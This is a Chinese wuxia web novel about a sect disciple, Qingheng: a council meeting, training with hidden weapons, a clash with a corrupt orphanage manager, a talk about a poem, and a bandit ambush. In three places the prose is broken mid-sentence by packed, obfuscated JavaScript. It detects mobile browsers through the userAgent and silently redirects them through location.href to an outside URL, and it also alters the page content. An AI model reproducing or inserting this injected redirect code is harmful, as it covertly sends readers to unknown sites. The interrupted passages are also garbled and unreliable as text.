《穷林录》 1. 议事厅 “不知诸位是否有所耳闻，红叶谷新任谷主虽年纪轻轻，手段却极其阴险老道。祝老头子刚死了两个月，她竟已能将红叶谷长老会的那些老狐狸戏耍得团团转了。这如何不是我穿林堂的不幸？诸位与我在此瞎忙了十数年之久，如今却连个可堪重任的继任之人都见他不到！” 清晨时分，议事厅外疏林掩映。林祯须发灰白，坐于上首，痛心疾首的声音回荡在厅堂之内。 青衡疑惑抬头，此次作为真传弟子列席议事厅，使她第一次得以近距离同时见到门派中所有大人物。细观掌门面上的沟壑，推测他年纪约莫在五十上下；远观此人沧桑之老态，却让人觉得他已年过花甲。 长老被指责传功不力，弟子被指责能力低下，酒囊饭袋的帽子一人扣了一顶。林祯话音一落，厅内所有人都陷入短暂的沉默。 长老会中留着两撇胡须的一位嘶了一声。 “您老忧从何来？新任谷主手段了得，因为她是祝老头子的亲生闺女，自幼受其言传身教！长老会对少主言听计从，那不是理所应当？且红叶谷那群阴损之人，最善于伪装，他们议事厅底下跑的耗子都不一定能听出真假，红叶谷的长老会对新谷主服与不服，我们不过也是隔着一整座京城道听途说罢了。” “少插嘴……你留的什么胡子？” “钱如海，看你哪有一点名门长老的样子，现在不说肥肠脑满，也是大差不差！我本想着掌管财政着实辛苦，对你处处见谅，莫要把商人油嘴滑舌避重就轻那一套搬到议事厅来，教坏了真传弟子！” 胖长老钱如海涨红了脸，气得支吾半天。 “下属如今一把年纪，已有妻女，日夜操持整个穿林堂的财务运转，如何还能像这些少年人一样寅时起身练武？……” 青衡余光瞄到身后探出一张黝黑的脸膛，是同为真传的霍晓师姐，向她偷偷模仿了个钱长老窘迫语塞的表情。 她正想笑，又听到一道女声正在缓和气氛。 “好了好了！钱长老，当着孩子们的面怎能顶撞掌门？掌门，动气对您的身体无益啊……” 李素心一眨眼的功夫就闪到弟子之间，左右开弓地劝了起来。 “门派怎会后继无人呢？我看楼长老的这几个徒儿，各个都是可塑之才，继续培养下去，假以时日必然不比红叶谷的差。” “比如这个孩子！”素心长老握住青衡身旁川乌的肩膀，“他在医道上颇具天资，若能专门学习，日后接替我掌管医堂不成问题。可惜他只认准了楼长老，想以修习武功为主……总之是个值得培养的才俊，未来必成大器！” 向来和几个同门站在一起被排一二三四的时候，川乌最是缺乏信心，自进入议事厅起便是忐忑。被李素心推得向前一步，他惶恐地回头望了一眼青衡。 “——可惜武功太烂！” 长老间最后一位五大三粗的汉子终于发话，他宽头阔面，声如洪钟，满面髭须如同疯长的粗硬杂草。一开口更是使川乌一惊。 “我之前路过看见你们比武，他招式使得实在太软绵。选真传选的是习武之人又不是大夫，这种资质怎么能站在议事厅里？” “雷长老！”李素心不悦打断，“这些孩子年纪尚小，何必如此苛刻呢？且川乌虽不擅舞刀弄剑，但另有所长。” 雷振岳大笑一声：“拿那些个飞针走线的当作看家本事，跟红叶谷那群弱鸡有什么区别？连我的皮都扎不透。” “说什么大话？莽夫。” 钱如海冷笑：“不然你现在试试能不能扎得透？除非你真的是铜浇铁铸。暗器若真像你所说这般无用，红叶谷又是怎样凭借它立足到今日、甚至能和穿林堂打得有来有往的？” “那也是上不得台面的东西！”雷振岳摇头，“身为穿林堂弟子不学穿林剑法，搞那些花里胡哨于门派何益？” 青衡注意到川乌已经虚汗直流，而林祯并未立刻制止雷、钱二人的新一轮吵嘴，眯眼观察了一会儿无所适从的川乌。直到李素心也难以调停，他才收回目光缓缓开口。 “好了！武功固然重要，但也不必把话说绝挫人志气，能当选真传，定是有过人之处在。” 雷振岳悻悻闭嘴，在一排四位真传弟子间看了一遍，又突然大手一挥，粗眉高扬，指向正准备和青衡窃窃私语的霍晓。 “这孩子我也见过！她就不一样，使起刀枪来丝毫不拖泥带水，几招下来颇有我年轻时的风范，必须着重培养！楼长老……楼长老呢？”雷振岳四顾，目光定在一道清瘦的女子身影上，“这是个好苗子，必须着重培养啊！” 青衡的眼神跟着转移到楼千光处，只见她略一颔首：“自然，霍晓天资卓越，晚辈自会着重督促。” 只见霍晓不知何时已经向前踏了一步，欢天喜地地向楼千光和雷振岳抱拳：“多谢师傅！多谢雷长老！弟子会继续刻苦练功的！” “好！”雷振岳转瞬之间就忘却了和钱如海的不愉快，哈哈大笑，转头又对上楼千光。 “楼长老，我看这孩子孔武有力，和我十分投缘。不止刀剑，日后使起斧、枪来也能顺手，不如以后让她到我这里来，我将她和家里那两个浑小子一起教了？” “雷长老！我们今天是来议事的，怎能直接在这里抢千光的徒弟呢……”李素心慌忙介入。 雷振岳摆手：“你别吵，让楼长老说！” 楼千光无奈一笑：“我带他们已有一段时间，若是突然麻烦您来教习，只怕她会有众多不习惯之处。但如果霍晓愿意，晚辈不会阻拦。” …… “这这，这……”霍晓茫然地挠头，“雷长老，其实我跟着我师傅学得挺好……” 林祯摇摇头，心道这孩子的确和雷振岳相似，直率大方，只是少了几分沉稳，颇有些鲁莽：“莫要胡闹，哪有习武之人中途换师傅的道理？” …… 雷振岳突然不再言语。青衡看见，他不做夸张表情时，五官在脸上的髭须中显得格外微小。 她从神游中回归，发现雷振岳已沉默得太久，议事厅内一时间噤若寒蝉，所有人纷纷屏息凝神看向他——就连林祯也不例外。 雷振岳抬臂伸向颈后，又猛然一顿。青衡知道，颈后常为武林之人携带匕首之处……顺势看去，他的身后竟还背着一把阔刀。 青衡正思考，但见雷振岳手腕一转，一道残影自他右侧腰间飞出，势如破竹，直逼霍晓肩头而去。在四人中的另一位少年心中一动，迈出脚时，青衡早先一步闪身上前，稳稳将刀柄收入掌中。 她站定之时将这柄环首刀在手里掂了掂，重量并不轻。抬头定睛一看，霍晓面带惊疑，但早已避到安全之处。两人本规矩站在同一排中，一人向前，一人侧闪，竟拉开了不少距离。 青衡当即明白这不过只是雷长老的一次逗趣，有些尴尬地将刀交到霍晓手上，再由霍晓还给雷振岳，她则退回到自己原本的位置。 钱如海见雷振岳蓄势许久就是为了演这一出，心道仅叫他一声莽夫还是太客气了，剜了他一眼。 “雷长老怎得还开这些小孩子玩笑？”李素心望了望青衡，叹息摇头。 林祯仿佛懒得开口骂他，揉了揉太阳穴，抬眼时看向青衡。她正悄悄瞄向楼千光，见师傅向她牵了牵嘴角，也不声不响地笑着垂下眼。 “掌门，说什么穿林堂后继无人，这不是还看得过去吗？”雷振岳满意地接过霍晓双手递上的刀，将其收回腰间，分别向青衡和霍晓扬了扬下巴。 “我身上三把刀，匕首太容易，大刀太明显，就拿这一柄来试你一试。” 雷振岳嘻嘻笑着，即便被霍晓拒绝也不见怒意：“江湖中人重情重义，你不愿离开你师傅，实属 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“况且这群孩子不过十六七岁，能晋为穿林堂的真传弟子，已是人中龙凤。掌门您远不到该忧虑继任之人的年纪，若此事真的到了迫在眉睫的地步，彼时他们必然也成长了起来，丝毫不会逊于红叶谷的那位新谷主。”李素心观察着林祯的神情，小心翼翼地补充。 林祯经过众人的一番劝慰，眉头明显舒展了些许，又很快重新蹙成一个疙瘩。 “唉……你们时至今日还敢当堂冲我大呼小叫，红叶谷那位与他们年纪相仿，就有掌控长老会的能力。只怕几年过去，她红叶谷在京城翻手为云覆手为雨，而只有我们停滞不前……到了那时，穿林堂还去哪里寻找立足之处？” 钱如海已经眯上眼睛不再接话，任凭林祯的叨念如山风吹叶响般从耳畔溜走。雷振岳刚歇了两句话的工夫，听见这话又是眉毛一竖。 “雷某出身草莽，直言直语是难听了些，可对门派一片赤诚之心！穿林堂是大不如前了不假，但哪至于衰成这样？要是连掌门您都不说自家一句好话，我们做下属的也没……” “行了，行了！”林祯疲惫打断，站起身来，“散了吧，看见你们几个我就头疼。” 林祯拂袖而去，钱如海早就受够了一样地紧随其后，雷振岳低声骂了句粗话也走了，李素心离开前向楼千光耸了耸肩。 “师妹，掌门的话不必太往心里去，即便明天穿林堂一统江湖，他也能挑出错处念你几句。他管这叫‘居安思危’。” 楼千光一笑：“多谢师姐，掌门的性子我知道。” 青衡和川乌面面相觑，萧执墨神情严肃，盯着地面不知在想些什么。 霍晓见大人物已经全部走远，弯腰大捶自己绷得酸痛的背，一声哀嚎打破寂静。 “哎呦，师傅！这一遭可比练两个时辰的武还累人啊！您行行好，就让我们歇一个上午吧……雷长老一看就不像是能给我们放假的那种师傅，还是师傅您心善啊！” 川乌尴尬，无颜帮腔，萧执墨不发一言，唯有青衡和霍晓一同注视着楼千光，殷切点头。 “……雷长老的刀若是让你自己来接，你是同样能接住并以此反制敌人，还是只来得及堪堪闪开？” “我，弟子不擅长应变……”霍晓心虚垂首。 “好吧，弟子不再求师傅放假了。” 楼千光展颜，青衡本以为她要再说些什么，不想师傅却对掌门贯穿整场议事的施压只字未提。 “一刻钟之后，练武场汇齐。” 2. 养济院 真传弟子专属的练武场规模略小，却胜在僻静。周围一圈刚刚发芽的高大槐树相护，夏季，槐花常被此处经日不断的剑气刮得漫天飞舞，青衡和川乌作为外门弟子时，常常拿着与自己差不多高的扫帚在此清扫。当时青衡卯足力气，只想尽快站在这里，当上那个击落槐花的人。 此刻她如愿站在练武场的长桌前，其上摆放着镖、针、袖箭等各类闪着寒光的暗器，将其拿在手上，稍有不慎便会受伤流血。 青衡拿起一筒袖箭来，想起前几日新学的剑招还未巩固：“师傅突然命我们学习暗器，是因为掌门近来对红叶谷忌惮有加吗？” 楼千光不置可否，没有对掌门的顾虑进行评价。 知晓暗器更是考验身法，而自己身法欠缺，霍晓苦恼地将这些小东西平摊在手心里，有一瞬间后悔没跟了雷长老去学刀枪斧钺。 “不仅如此，你们还须了解红叶谷的招式。多年前的一场比武中，红叶谷暗器佐以极致身法，轨迹变幻诡谲，却仍有穿云破空之势，江湖各派无一不赞叹称奇。你们若能将此招习得一二，哪怕只是表面，在实战中也大有裨益。” “什么？”霍晓手中的袖箭当啷一声掉回桌上。 “师傅，咱们现在怎么落魄到这步田地！要学敌人的阴玩意儿了？” 萧执墨自从议事厅出来，一直郁郁寡欢，这才开口说了第一句话：“师傅，名门正派之真传弟子，竟也要模仿红叶谷的阴毒招式，这……真的也是掌门的授意吗？” 楼千光没有立刻回答，似是对两人的疑问有许多想要指正之处，而一时不知从何说起。 “武器招式本没有正邪之分，行善亦或作恶皆是出自人为。况且，红叶谷既能在开诚布公地比武中展示此招，便是有任旁人模仿研习的底气，也说明他们真正不为人所知的秘术绝技，远远不止于此。 “保持端正之心，所有武器，一切功法，都只会成为行侠途中的助益，而非瑕玷。” 霍晓似懂非懂地想了一阵，又一惊一乍地突然抱拳。 “弟子明白了！” 她见萧执墨依然皱着眉头若有所思，啪地伸手推他一把，将人推得几乎踉跄一步。 “比如你要杀一个坏人，他的身后尽是武功高手，你是要提着你的剑上前硬刚打个你死我活呢，还是练好暗器，赶紧解决然后直接闪人？好好想想吧小子。” 闻言，青衡和川乌站在一处笑作一团：“幸好师姐没同意跟雷长老走，否则不能再跟你这样的天地灵秀一起练功，可真是太遗憾了。” “过奖过奖，”霍晓豪迈摆手，“其实我一直想成为的都是师傅这样能文能武仙子一般的人物，只可惜我没有那个舞文弄墨的天资，一念书就想睡觉，要是真拜雷长老为师，怕是连自己的大名都不会写了……师傅可不能把这话告诉雷长老啊，弟子誓死追随您！……” 风动槐梢，练武场一时溢满欢声笑语，萧执墨紧蹙的眉头也终于放松。青衡看向楼千光，见她的眼底的严肃也终于化开，漾出一抹笑意，心里也跟着轻松了些。 “练功吧，”楼千光正色道，“既是青衡先问起，便从你开始，每人接我十镖。” 起初，师傅发镖前仍会像雷长老试探霍晓一样，留有一瞬的停顿，由此给人反应的时间。三镖后，那些从她袖中指尖不断流出的利器逐渐变得无声无形，饶是青衡，在愈发急促的攻势之下也乱了阵脚，在第十镖时被击中了肩头。 练习所用的木片较为圆钝，不会真正伤人。青衡将它捡起，想起分发给他们锋锐无比的真正暗器，顿觉即便晋升为真传弟子，于武学也不过只是初窥门径。 青衡低眸，将木片交到楼千光手上时碰触到她被春风吹得微凉的指尖，抬头看向她。 青衡清楚，勤加练习之下，自己很快便能像接住雷振岳的刀一样，牢牢接住这十镖。只不过她比起闪避应对，更想知道如何练就发镖之人不乱方寸，却仍然招招犀利的功力。 她抬头看向楼千光，发现她甚至连汗都没出。 “师傅，您并未练过红叶谷的独门心法，为何能将暗器运用得这样纯熟呢？” 楼千光一笑，似乎能完全看出青衡在想什么，简单答了：“要在身法上多下功夫。不必担心，假以时日，你也会做到的。” 青衡心中微动，点了点头，握着一叠木片走到练武场一角坐下，安静地观察了片刻师傅发镖时的身法，在树荫下很快消去了汗。轮到川乌时，她见师傅略微放慢了速度，而川乌表现尚可，她这才起身拍打身上的尘土，开始练武。 正午时分，青衡正等了川乌要离开，霍晓从她背后围了上来，一把搭上青衡的肩。 “早上我阿娘刚给我送了鲜鱼来，你们俩想不想和我一起吃饭？” 霍晓回头盯了一眼萧执墨，见他已经练得大汗淋漓，还站在楼千光身侧请教技巧，丝毫没有离开的意思：“他我就不叫了，必然不会来的。” “师姐，今日我们要回养济院一趟，想赶在天黑前回来，怕是不能耽搁了。” “哦，”霍晓遗憾地放开青衡，“那我给你烤几个土豆带过去。” 青衡喜笑颜开：“多谢师……” 但见萧执墨立于不远处，一听养济院三字，立刻辞了师傅，匆匆抹了一把汗便跑到青衡川乌面前，说话时甚至有些气喘。 “师妹师弟今日要回养济院？若是不急，可到我院中暂歇，我也有东西想带给孩子们。” 青衡一顿，虽说和霍晓仅相识一年，已亲近如姐妹，但无论是她或川乌，与萧执墨的关系不过是寻常同门。往日他们除却一同习武念书，私交甚少，更不见得他关心过养济院的事情。心中虽有疑惑，但仍和川乌一起到他院中等了片刻。 真传弟子的住所虽然聚在一处，青衡川乌却不常来此做客，甫一踏入，颇有些拘谨。二人环视四周，见萧执墨的住处被他清扫得十分整洁，院中花木扶疏，不免多望了几眼。 “听晓师姐说过，执墨师兄家中是做官的，难怪意趣如此高雅。改日我们也弄几盆花来摆在院子里，确实好看。”青衡感叹。 “我更好奇师兄突然这般是要干什么，不会是有求于你吧？” 见萧执墨一头扎进房中去取他的物品，川乌侧头，小声问青衡。 青衡不解：“我不知道，他能有什么事情求我？” 二人交头接耳之时，萧执墨已从房中出来，手里提着一捆书册，整齐地用草绳系得结结实实。 “想来养济院并无像穿林堂藏典阁一般的去处，孩子们若是有意读书，怕是困难。这些是我刚开蒙时用过的书册，上有批注，虽已有些年头，但我保存得还算好。师妹师弟如不嫌弃，还请替我将这些带给孩子们吧。” 两人还没缓过神，萧执墨就已伸手将书本递了过来，青衡只好接下。 “师兄……”青衡失笑，“养济院内没有识字的孩子，我被素心长老收留入门派之前，也只认得天大日月火，还是川乌教给我的。” “他们饿极的时候，就着凉水把这些书都吃了倒是有可能。” …… 萧执墨闻言无比尴尬，脸一下涨得通红。 “咳！竟是如此……” “……多谢师兄美意，师兄不曾在养济院生活过，不知道这些细节也是情理之中。” 川乌正在一旁努力打着圆场，青衡指尖轻挑，解开捆书的草绳，拈起一本来不疾不徐地翻开看，忽地眼睛一亮。 “听竹生的诗文……”她目光扫过萧执墨写于其上密密麻麻的批注，“我喜爱此人的文章，但从未读懂其中深意，师兄开蒙时有良师相授，批注必定写得周全。既师兄已经用不上这些了，让我拿回去看一看可好？” 见青衡仍愿意收下这些，萧执墨的难堪被消解了些许：“自然，自然……但此事依然是我考虑不周，烦请师弟师妹再稍作等候，我去取些钱来，你们交给养济院管事，也算是为孩子们改善伙食。” 他说完便又要回到房中，被青衡川乌一同喊住。 “师兄不必破费！我们向来会分出一部分月例来给他们买吃食，他们现在还算吃得饱。” 萧执墨转回身，见青衡向他抱拳，眼神诚恳：“师兄赠书，我已十分感激，日后若有我帮得到师兄的地方，直接知会一声便是。” “……实不相瞒，我确有一事相求。”萧执墨看看川乌，本并不太希望让他听到，但印象之中，这两人时刻像双生子一般形影不离，怕是难以开口请他回避，便也不曾多言。 “今日议事之时，雷长老以刀试霍晓，师妹反应极快，身法极佳……”他艰难开口，“师傅所授，我总是不得要领。师妹若有空闲，能否来我院中指点一二？” 青衡有些惊讶，萧执墨为人孤僻，一向独来独往，竟也会向同门求教；且这等小事，居然能使得他如此纠结。 “原来如此，”她点点头，“同门之间理应守望相助，下次师兄直接找我便好。” 应了萧执墨，青衡川乌下山直奔集市，在食肆买了几十个馍装满口袋，凭借儿时记忆毫无误差地七拐八拐进入一条巷子，抬眼便见养济院的门匾又翻新了一番，远看着十分大气。 青衡眼色一沉，跟在川乌身后走进养济院内。一进大门，便有几个孩子野兔子似的纷纷跑过来，几双肮脏的小手伸进口袋里翻出馍馍来吃，川乌习以为常，笑眯眯地伸手去拍每一个孩子的脑袋，清点人数般叫着他们的名字。 “最近怎么样，窗子还漏风吗，有没有饿肚子？” 孩子们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你休想。”青衡上下扫他一眼，见掌事的肚子比她们穿林堂的钱长老还要大些，愠色更显，“这是你分内之事，怎么变成要请我们俩解决？我们小小年纪就开始帮忙搬同伴病饿而死的遗体，没和他们一样夭折在这已是万幸，难道现在还要回来代为操持养济院的事务，再白送你一个美名么？” “养济院从不乏王公贵胄前来施舍，我清楚记得甚至有过宫中贵人亲自前来，我们仍只能啃发霉的饼子勉强过活，那钱都去了哪里？不说能像寻常人家一般，为何我从记事起连饱腹的时刻都从没有过一次？ “我懒得与你多费口舌，日后我和川乌依然每旬回来，若有孩子再这么不明不白地病死了，休怪我不客气。 ” 掌事听着威胁，收回请青衡坐的手，半晌没说话，露出个怪异的微笑，目光移到青衡腰间的配剑上。 “果真是名门弟子，现在走到哪儿都带着家伙了。想怎么不客气，难道用你的剑伤人？你从养济院走进穿林堂，如今学了一身江湖气，反倒用穿林堂弟子的名义要挟起对你有养育之恩的养济院来，天下哪有这样的笑话！” “多谢掌事栽培，从前在这里被掌事饿出的胃疾，现在还时不时疼我一下。”青衡冷笑，手跟着他的眼神挪到剑鞘上，“济世安民乃穿林堂宗旨，我用这把剑来请掌事高抬贵手，对这些孩子稍好一些，算不得要挟。” “青衡！” 川乌见青衡许久没下来，唯恐她冲动行事，跟上发现她姿势似要拔剑，连忙叫住她。 青衡放下手，川乌松一口气，隔在两人之间。 “掌事，若是再有哪个孩子急病不退，尽管去穿林堂找我……当然，是在养济院无力解决的情况下。” 不等掌事回话，青衡已转身离去，川乌也无意向他告辞，紧随其后。 夕日欲颓，经此一遭，两人心事重重地走在回穿林堂的路上，穿梭在集市即将收摊的喧嚷小贩之间，丝毫不觉得热闹。 “他就是仗着养济院收留的都是鳏寡孤独，无力反抗他，所以才这么肆无忌惮！” 青衡沉默了许久，再开口时依然愤愤不平：“我给了那个账房一些钱，日后掌事若再贪污，他会告诉我。” “我还想着等那个孩子再长大一些，请你向长老引荐他，做个外门弟子……” 川乌长叹一声：“今后我们更要常来了。” “是。” 青衡突然停下脚步，转身面对川乌。 “你站住。” 川乌不解，仍然照做了。青衡放平手掌到头顶，向前比量自己和川乌的身高，居然相差无几。 “你小时候若是没有挨饿，会不会比现在更高些？” 川乌握住她的手放下来，无奈失笑。 “我相信现在也有机会再长高些，但还是保持这样，跟你并肩走……我才更习惯。” 3. 听竹生 “再来一场。” 萧执墨俯身拾起被青衡用剑尖挑翻的木剑，摇了摇头整理思绪，恢复准备切磋的姿势。 青衡有些迟疑：“师兄不休息片刻吗？” “无妨，继续。” 方才结束的第一场切磋，青衡尚且有来有往地与萧执墨过了几招，第二场刚刚开始，青衡便发觉他的剑招愈发凌乱，破绽逐渐明显。她看准时机劈出一招，萧执墨格挡不及，木剑因吃痛再次掉在地上。 “兵器脱手相当危险，实战当中即便被击中，也要时刻记得抓紧兵器。” “再来。”萧执墨清楚自己犯了幼稚的错误，只是再次捡起剑来。 青衡叹气：“师兄急躁了。是想让我指点你，还是想一直和我比试，直到打赢我才肯停？” 对面的少年愣了愣，表情又变得难堪，上前两步接过青衡的木剑，将两把一起立在门边。 “师妹累了吧，进来坐。” 萧执墨答应送给青衡的书还放在书案上，青衡接了他泡好的茶，依旧取下第一本翻开来看。 “那依师妹看，我的问题出在哪里？”他啜一口茶，茶香沁人心脾，驱了驱胸中的郁气，耳畔却还盘旋着木剑相击的沉闷钝声。他目光复杂地望向青衡。 “师兄要先静下心来。”青衡从书中抬头，对上萧执墨眼睛的那一刻，他又将目光移开了，“你明明已经十分熟悉招式，可一旦稍微落于下风，便开始乱了方寸，破绽百出，自此便难以制胜，不加调整而是急于进行下一轮切磋，更是会如此。” 青衡的话甚至比平日师傅的还要直白犀利，萧执墨听见，顿觉自己头脑内的某根神经在被重重拨动。他再次看向青衡，见她神色认真，眸光澄澈，丝毫没有奚落嘲讽的意味。 他更为自己的小人之心而羞惭：“……师傅也常这么说。但，如何静心？你也曾遇到过这样的困境吗？” “不曾。”青衡摇头，“如何静心……大抵是要全心全意思考剑招、观察对手，而非一味想着输赢吧。” 萧执墨的手微微捏紧茶碗，他何尝不明白这个道理，但若仅仅明白就能得到突破，他又何须烦闷至此？ 反观青衡，已经自顾自继续翻起书来。 她重新打开听竹生的文集，前几篇向往四海升平，是她入穿林堂开蒙时所学习过的。她指尖快速抚过这些句段，想起养济院死去的孩子，翻书的手顿了顿，向后看去。 “听竹生的诗文，有几篇我已详尽学过了，可那几篇写山川湖海的却让人看不懂。湖怎么会是绛紫色，山又为什么倒悬？” 青衡小声自言自语，话音落下后室内便安静得可怕。她察觉到此处落针可闻，看向萧执墨，见他仍然眉头紧锁，一副心不在焉的模样，仿佛根本没听见她说什么。 “……师兄，我再陪你练几招吧。” 她没合上书，但起身推开门，拿起门边萧执墨根本没打算收起来的木剑，扔了一把给他。 “学暗器之前师傅教的那套剑法，还记得吗？来试试。” 萧执墨接住剑，没再多说什么，很快重新绷紧身形，蓄势待发。 青衡像师傅平日那般放慢速度，引萧执墨应对剑招。抵挡的动作居多，进攻时也不如方才激进。这般退让姿态之下，萧执墨不消片刻便找回正常状态，甚至还能作出几招青衡意料之外的应变，局势恢复为势均力敌的切磋。即便如此，青衡仍未猛攻，在连续后退几步后故意将剑一偏，顺着萧执墨的一记劈砍，将它扔在地上。 萧执墨知道青衡这是在让自己，但心中确实轻松了许多。夜幕已至，他自知不能再耽误青衡的空暇，赶在她前一步捡剑，终于肯将木剑挂在了院墙上，算是今日的练功到此为止。 青衡见状，悄悄松了口气。 “师兄看见了，想必你克服逆境中的浮躁，就能有所提升。” “师妹才是颖悟绝伦，”萧执墨笑着摇了摇头，“未来能成为师傅那样的传功长老。” “师傅？真的吗？” 青衡眺望着远处山下华灯初上的京城，听他提起，想到楼千光平日仅仅作为示范就令她觉得难以望其项背的一招一式，心中生出一丝怯意，又难免有些喜悦。 “……我还差得远。” 萧执墨看出她对此很是受用，一笑：“我方才在房中时有些走神，说起来，师妹是想研读听竹生的文章吗？” “……师兄既问起，我当时在说，‘危峦倒悬，扶玄天日华而生；其湖绛紫，酿万年夕暮而成 ’，山为何倒悬，湖又为何是绛紫。” “我学这一课的时候，依稀记得先生给了三种解释。” 萧执墨点起油灯，放在桌案中央。 “一，听竹生仕途失意，‘危峦倒悬’一句，象征他曾经历过的足以改变人生方向的重大挫折，‘其湖绛紫’一句，象征其心中愁闷经年凝聚，使得他苦不堪言。” “二，听竹生心系百姓，亲眼得见民生疾苦，全篇以写奇山异水的方式，暗喻当下政策不合常理，致使百姓心中生怨。这是流传最广的一种解读，因为与听竹生其余抒发济世情怀的文章思想相吻合。” “第三种是，听竹生归隐山林，独坐幽篁，眼见山河秀丽，心中喜悦而畅饮。文中景象是……他酒醉后所见图景，因而绮丽梦幻，但不合常理。” 青衡目瞪口呆，低头看向书上萧执墨整齐细密的注解。 “依稀记得？这是一字不差吧！” 萧执墨颔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174299|196872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首：“只是在背诵儿时的功课而已。” “可是，”青衡端起书来，趁着油灯亮光仔细看，“何以见得是醉酒后看见的图景？是不是有些太……” “因为能取‘听竹生’这个名字，大抵是寄情山水的隐士。既是隐士，便少不了……呃，饮酒作乐之类的。听竹生的身世背景鲜为人知，所以只好这样分析，但先生也说，这只是众多说法的其中之一罢了，你记住第二种即可。” “你若还有疑问……可以去问问师傅，她或许会有新的见解。” 青衡与川乌住在同一院中，但除却夜晚安置，川乌通常在她房里。她提着一叠书回到自己住处，将其放上书案，险些碰翻旁边一碗快要放凉的汤药，川乌已在一旁等候多时。 “怎么回来得这么晚，天都黑了，执墨师兄……这么勤奋？”川乌眼见着青衡对他狡黠一笑，不明所以，“也是，他也并非第一天如此用功了。” “我来考考你，你觉得，‘危峦倒悬，扶玄天日华而生；其湖绛紫，酿万年夕暮而成 ’，当如何理解？” “什么湖……你们还一同研究起诗文来了？快先喝药。” 青衡端起碗，将川乌为她调制的健脾和胃的汤药一饮而尽。川乌翻看她的书，在文中找到了这一句。 “前两种还算符合常理，第三种……也不算全无可能，”川乌皱眉道，“……作者真的这么认为吗？若都只是人们的想当然呢？” “我也这么觉得。”青衡擦了擦嘴角，“但无论如何，作者总归是心有所感，才写下了这些。至于他的想法是什么……或许在这三种其中，或许是其他我们无从探究的。” “不如去问问师傅？……对了，说起山，明日陪我去西郊山上采些寻常草药吧，下次去养济院时带着给孩子们备用。” “好。” 川乌提起油灯：“明天见。” 青衡钻进被子里，将自己包裹起来，用力吸了一口被子上的暖香。是夜梦里，她先梦到了紫红的湖，倒悬的山，在水里游的鸟，在天上飞的鱼，而自己徜徉其中；又梦到了自己仍然捧着那本书，坐在练武场上的槐荫下，问霍晓对此有何见解。 霍晓思量一会儿，一双圆眼朝她一瞪。 “小青衡，你叽里咕噜说的什么？成心刁难你师姐是不是？给你点颜色瞧瞧！——” 说罢霍晓抡起手中大棒向她劈来，周遭顷刻间飞沙走石，地面上出现清晰地条条裂纹，幻化为吃人的大嘴要将青衡吞噬其中。她立刻从地上跃起躲避，同时惊醒，睁开眼睛，窗外天色已微微泛白。 真正站在练武场上，霍晓对她左看右看：“今天怎么没精打采的，没睡好？” 青衡心虚一笑：“做了个噩梦。” 4. 西郊 “看，红叶谷。” 远处的亭台楼阁隐在一片春日新生的紫红枫叶当中，隔着环绕山林的濛濛雾气，倒不像传说中那般阴暗诡谲，反而与夕日相得益彰，建筑模糊的轮廓使得景色一并变得柔和，恍若画中图象。 西郊山崖上，青衡和川乌身上背着采药筐，极目远眺。 “红叶谷的景色还是要到秋天才好看，”青衡抬起手臂挡了挡晃眼的霞光，“可惜就算到了秋天，也不能凑近了观赏。” “这话被掌门或者雷长老听见，怕是要将你我逐出门派。”川乌打趣道。 “不至于吧，看看景色能如何？师傅都说了，兵器功法并无正邪之分，风景总不能分出个善恶吧。” “谁说得准呢，听素心长老说，最近医堂弟子到西郊采药，不巧红叶谷医堂也派了人来，两派弟子又发生了些争执……虽说这里并不在红叶谷的地界之内，但只要碰上就会被他们处处为难，幸好我们今天没遇到。” “我们非来这附近采药不可吗？” “有些药材只在西郊枫林中常见，否则我也不是很想来这儿。” 川乌拍拍身上的灰土：“不早了，我们回去吧？” 青衡应了，正想和川乌一起离开，忽然听见坡下传来一阵凌乱的脚步声，伴随着几声喊杀，正在由远及近。 她当即警觉，脚步一滞：“先别动！” 青衡拉着川乌闪进一旁的灌木中，屏息凝神，不免惊得瞪大双眼——穿林堂跟红叶谷的仇恨深到了这种程度，只不过是在他们家门口采点草药，值得派人杀上山来吗？！ 声音的源头很快出现，青衡悄悄拨开眼前的叶片枝杈，见不是红叶谷弟子前来抓人，而是三个蒙面的黑衣山匪，手持猎刀，正将两个青年直逼上山崖。两人手中虽然也握着剑奋力抵抗，但都负了伤，背靠悬崖，显然已是强弩之末。 川乌伸手扣紧剑柄，和青衡一起蹑手蹑脚地卸下身上背的竹筐，等待她先一步行动。 青衡想起，半山腰上有一座寺庙，城中贵人时不时会前来烧香拜佛，山匪便容易在此蹲守劫道。 她摸了摸随身携带的袖箭，透过灌木枝叶瞄准黑衣贼人头部，毫不犹豫发出一箭。 不想，几人正处于打斗之中，动作变幻激烈，她的一箭并未命中，而是擦着贼人的后脑飞了出去，坠下山崖。那三人一惊，察觉灌木丛中有人，青衡也无意继续隐匿，立刻拔剑，脚尖一点自灌木中飞出，趁人反应不及抬剑直劈敌人面门。 这一着分散了贼人的注意力，其中一个青年在敌人防御青衡之时，看准机会将剑刺入此敌心口；恰逢此时，另一贼人也发觉他毫无防备，举起猎刀重重砍向青年后颈，骨肉与刀刃猛地撞出骇人声响，一时鲜血飞溅，打湿青衡衣摆，青年身体软了软，倒伏在地，再没能起来。 